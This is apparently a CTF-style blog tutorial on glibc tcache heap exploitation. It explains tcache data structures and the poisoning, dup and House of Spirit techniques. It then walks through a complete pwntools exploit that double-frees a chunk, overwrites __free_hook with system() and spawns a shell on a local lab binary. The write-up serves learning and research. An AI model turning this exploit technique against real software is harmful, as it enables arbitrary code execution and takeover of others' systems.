GLIBC Heap Exploitation: The Tcache

Exploring GLIBC Heap tcache exploitation techniques.

April 10, 2022 - 8 minute read -
ctf binary exploitation

Introduction to Tcache

Tcahce (thread local caching) is a new heap caching mechanism introduced in glibc 2.26 back in 2017. Tcache offers significant performance gains by creating per-thread caches for chunks up to a certain size. The malloc algorithms will first look into tcache bins before traversing fast, small, large or unsorted bins, whenever a chunk is allocated or freed.

I will be referring to the source code of malloc.c from glibc 2.26. In this version two new data structures were added in this version tcache_perthread_struct and tcache_entry as shown below:


typedef struct tcache_entry
{
  struct tcache_entry *next;
} tcache_entry;


typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;


Two functions are added to modern libc for tcache management: tcache_put and tcache_get.

static void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  assert (tc_idx < TCACHE_MAX_BINS);
  e->next = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

static void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  assert (tc_idx < TCACHE_MAX_BINS);
  assert (tcache->entries[tc_idx] > 0);
  tcache->entries[tc_idx] = e->next;
  --(tcache->counts[tc_idx]);
  return (void *) e;
}


  • tcache_get is similar to __int_malloc, which returns an available chunk to the application. This chunk will come out of the tcache bin.
  • tcache_put is similar to __int_free, which puts the chunk currently being freed into the tcache bin.
  • The tcachebins behave similarly to fastbins, with each acting as the head of a singly linked, non-circular list of chunks of a specific size..
  • There are 64 singly-linked bins per thread by default. A single tcache bin contains at most 7 chunks by default

Tcache exploitation techniques

1. tcache poisoning

Tcache poisoning is a use after free vulnerability. To trigger this vulnerability We need an allocation, a deallocation, and be able to write to the freed chunk. This will be the address we desire to return into. Then finally the next allocations will cause malloc to return to the desired address. We now have an arbitrary write and we can gain arbitrary code execution. Here is an example of tcache poisoning from example from shellphish’s how2heap

2. tcache dup

This is done by tricking malloc into returning an already-allocated heap pointer by abusing the tcache freelist. Unlike fastbin dup, we do not need allocation in between, this allows us to allocate and free twice. The next allocations will be duplicated, and by writing to it and performing more allocations we may trick malloc into returning into a region of our own choosing. Here is an example of tcache duplication from example from shellphish’s how2heap

3. tcache House of Spirit

The exploit works similar to the normal house of spirit, the main difference being that the fake chunk is placed on the tcache, not the fastbin. As a result of this we can omit the size field from the second fake chunk since the sanity check present on the fastbin is not implemented on the tcache. Here is an example of tcache House of Spirit from example from shellphish’s how2heap

Demo ( tcache dup )

We will demonstrate tcache exploitation using tcache dup technique on a vulnerable binary running on libc-2.31.so

Analysing the binary:

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)


Running and testing the binary:

puts() @ 0x7f485a064bc0

1) add
2) free
3) show
4) exit
>


We can see from the beginning we already have libc leaked, so we don’t even need to worry about that besides that we have 4 options we can add, free, show and exit.

To demonstrate, let’s prepare some helper functions for add and free:

count = 0
def add(size, data):
    global count
    p.send("1")
    p.sendafter("size: ", f"{size}")
    p.sendafter("data: ", data)
    p.recvuntil("> ")
    count += 1
    return count - 1

def free(count):
    p.send("2")
    p.sendafter("count: ", f"{count}")
    p.recvuntil("> ")


Add 7 chunks of 0x50 size.

for i in range(7):
    add(0x58, "A"*8)


Add a temp chunk for duplicate.

temp = add(0x58, "B"*8)


Free the 7 0x50 chunks to fill the tcachebin.

for i in range(7):
    free(i)


Free the temp chunk so that it get added into 0x50 fastbin.

free(temp)


Add another 7 chunks of 0x50 so that freed chunks from tcachebin are consumed. Use this opportunity to write the /bin/sh string into a chunk that can be freed later.


for i in range(7):
    sh = add(0x58, "/bin/sh\0")


Double free the temp chunk into the 0x50 tcachebin.


free(temp)


The next add request for a 0x50 size comes from the 0x50 tcachebin by the temp chunk. Request it, then overwrite its fastbin fd, pointing it near to the free hook. The fd of the fake chunk overlapping the free hook must be null.


add(0x58, pack(libc.sym.__free_hook - 0x10))


The next request for a 0x50 sized chunk comes from the 0x50 fastbin by the temp chunk. The tcache code will dump any remaining chunks from the 0x50 fastbin into the 0x50 tcachebin, including the fake chunk.

add(0x58, "C"*8)


The next request for a 0x50 sized chunk comes from the 0x50 tcachebin by the fake chunk that overlaps the free hook. Request it to overwrite the free hook with the address of system().

add(0x58, pack(libc.sym.system))


Free a chunk containing the /bin/sh string to trigger system("/bin/sh").

free(sh)
p.interactive()


Putting it all together: exploit.py

from pwn import *

bin = context.binary = ELF("tcache")
p = process(bin.path)
libc = bin.libc


count = 0
def add(size, data):
    global count
    p.send("1")
    p.sendafter("size: ", f"{size}")
    p.sendafter("data: ", data)
    p.recvuntil("> ")
    count += 1
    return count - 1


def free(count):
    p.send("2")
    p.sendafter("count: ", f"{count}")
    p.recvuntil("> ")


p.recvuntil("puts() @ ")
libc.address = int(p.recvline(), 16) - libc.sym.puts
p.recvuntil("> ")
p.timeout = 0.1


for i in range(7):
    add(0x58, "A"*8)
temp = add(0x58, "B"*8)

for i in range(7):
    free(i)
free(temp)

for i in range(7):
    sh = add(0x58, "/bin/sh\0")
free(temp)
add(0x58, pack(libc.sym.__free_hook - 0x10))
add(0x58, "C"*8)
add(0x58, pack(libc.sym.system))
free(sh)
p.interactive()


[karim@karim tcache]$ python exploit.py
[*] '/home/karim/Documents/Heap/tcache/tcache'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  './'
[*] Switching to interactive mode
$id
uid=1000(karim) gid=984(users) groups=984(users),108(vboxusers),998(wheel),1000(flutterusers)
$


Reference